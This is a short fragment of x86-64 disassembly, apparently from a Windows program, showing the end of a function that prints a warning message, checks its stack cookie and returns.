mov qword [rsp + 0x28], rax
mov r9, qword [rcx]
lea rcx, str._Warning:
mov edx, 0xd
mov r8d, 1
call fcn.140013e40
mov r14, qword [rsp + 0x28]
mov rbx, qword [rsi]
call fcn.140002170
mov rcx, qword [rax]
mov qword [rsp + 0x20], r14
mov rdx, rbx
mov r8, rdi
xor r9d, r9d
call fcn.14000cff4
mov r9, qword [rsi]
lea rcx, str._n
mov edx, 4
mov r8d, 1
call fcn.140013e40
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.14000ac40
nop
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
ret